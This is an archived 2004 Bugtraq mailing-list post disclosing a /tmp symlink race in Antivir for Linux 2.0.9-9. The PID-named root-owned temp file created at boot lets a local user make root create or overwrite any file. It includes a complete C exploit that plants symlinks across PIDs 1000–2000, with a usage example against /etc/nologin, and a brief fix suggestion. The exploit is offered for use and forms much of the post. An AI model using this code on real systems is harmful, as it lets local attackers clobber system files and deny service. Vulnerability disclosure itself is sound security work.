lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20040113183730.3885.qmail@www.securityfocus.com>
Date: 13 Jan 2004 18:37:30 -0000
From: Rene <l0om@...luded.org>
To: bugtraq@...urityfocus.com
Subject: symlink vul for Antivir / Linux Version 2.0.9-9 (maybe lower)




discovered and written: l0om <l0om@...luded.org> 
 date: 13.01.2004 
 risk: medium 
 page: www.excluded.org 
 
 symlink vul for Antivir / Linux Version 2.0.9-9 
(maybe lower) 
 
 antivir gets started on bootup and creats a tmp file 
(/tmp/.pid_antivir_$$ - where 
 $$ is the process id). the file got read/write 
permissions for the superuser 
 and nothing more. the file gets created and wont be 
delted till the system reboots. 
 well- as most of us know is the PID of a process is 
not on ervery reboot the same. 
 so the PID of the antivir process goes +/- 10-20. 
 
 if we creat a link with the correct name 
(expamle .pid_antivr_1204) which points 
 somewhere to the system, it will create or overwrite 
the destination of our 
 symbolic link. 
 
 this exploits should work for most rebooting 
systems, as we guess the pid of the 
 new process will be greater than 1000 and less than 
2000. for better usage take 
 a look at the running procces ID and set the defined 
START -20 and END +20. 
 sometimes one reboot does the job and sometimes it 
takes two reboots. 
 
 i think the programmers could use the same method 
like the guys from xmms. before 
 they creat anything they first "unlink" the filename 
in the /tmp dir. 
 
 
 greets @ proxy, sirius, takt, maximilian, !ntruder, 
fe2k, dna, feem, cyniker, xnet and the rest of 
excluded! 
 
 example: 
 ./antisys /etc/nologin 
  (reboot) 
  ls -l /etc/nologin 
  rw------- root root /etc/nologin 
 
 have phun! 
 
 *******************************************************************/ 
 
 #include <stdio.h> 
 #include <unistd.h> 
 #include <string.h> 
 
 #define PATH "/tmp/.pid_antivir_" 
 #define START 1000 
 #define END 2000 
 
 int main(int argc, char **argv) 
 { 
 int i; 
 char buf[150]; 
 
 printf("Antivir 2.0.9-9 exploit - written by l0om
\n"); 
 printf(" WWW.EXCLUDED.ORG\n\n") 
 
 if(argc != 2) { 
 printf("usage: %s <destination-file>\n",argv[0]); 
 exit(0xff); 
 } 
 
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout); 
 read(1, buf, 1); fflush(stdin); 
 
 printf("working\n\n"); 
 for(i = START; i < END; i++) { 
 snprintf(buf, sizeof(buf),"%s%d",PATH,i); 
 if(symlink(argv[1], buf) == -1) { 
 fprintf(stderr, "cannot creat symlink from %s to %s 
[Nr.%d]\n",buf,argv[1],i); 
 fprintf(stderr, "skipping...\n"); 
 } 
 } 
 printf("\ndone!\n"); 
 printf("on the next reboot we hopefully create or 
overwrite %s\n",argv[1]); 
 return(0x00); 
 } 
 


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ